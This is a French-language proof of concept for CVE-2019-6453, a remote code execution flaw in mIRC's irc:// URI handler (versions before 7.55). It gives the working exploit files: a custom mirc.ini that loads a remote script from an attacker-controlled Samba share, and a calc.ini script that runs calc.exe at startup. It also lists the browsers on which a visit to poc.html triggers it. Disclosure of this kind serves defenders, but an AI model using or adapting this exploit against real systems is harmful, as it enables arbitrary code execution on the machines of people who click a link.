
Preuve de concept pour CVE-2019-6453
Nous avons découvert une vulnérabilité d'exécution de code à distance dans mIRC via le gestionnaire de protocole URI irc://. Étant donné que mIRC n'utilise aucun symbole tel que -- pour marquer la fin de la liste d'arguments, un attaquant peut passer des arguments à mIRC via un lien irc:// et exécuter du code arbitraire en chargeant un fichier mirc.ini personnalisé depuis un serveur de fichiers Samba contrôlé par l'attaquant. Notez que ircs:// fonctionne de la même manière.
La proof of calc nécessite trois fichiers : mirc.ini, calc.ini et poc.html. Nous supposons qu'un serveur de fichiers Samba est exécuté du côté de l'attaquant. Pour les besoins de l'exemple, les extraits de code suivants supposent qu'il est exécuté sur l'hôte 127.0.0.1 (c'est-à-dire remplacez 127.0.0.1 par l'adresse de votre propre serveur dans les fichiers suivants pour essayer cela).
mirc.ini est un fichier de configuration personnalisé qui doit se trouver dans C:\mirc-poc\mirc.ini sur le serveur de fichiers.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini est un fichier de script distant qui doit se trouver dans C:\mirc-poc\calc.ini sur le serveur de fichiers.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Il suffit de visiter poc.html pour que cela fonctionne, à condition que mIRC soit configuré comme gestionnaire par défaut pour le schéma URI irc:// et que le navigateur n'encode pas la charge utile. Selon le navigateur et votre configuration, vous pourriez recevoir une invite (ce n'est pas le cas sur Firefox).

Cette PoC fonctionne pour mIRC <7.55.
Vous pouvez déclencher la PoC sur Edge 42.17134 (dernière version préliminaire) et Firefox 64.0.2 (dernière version stable). Cela ne fonctionne pas sur Chrome en raison de la façon dont Chrome gère les protocoles URI (l'URI est encodé avant d'être passé à l'application).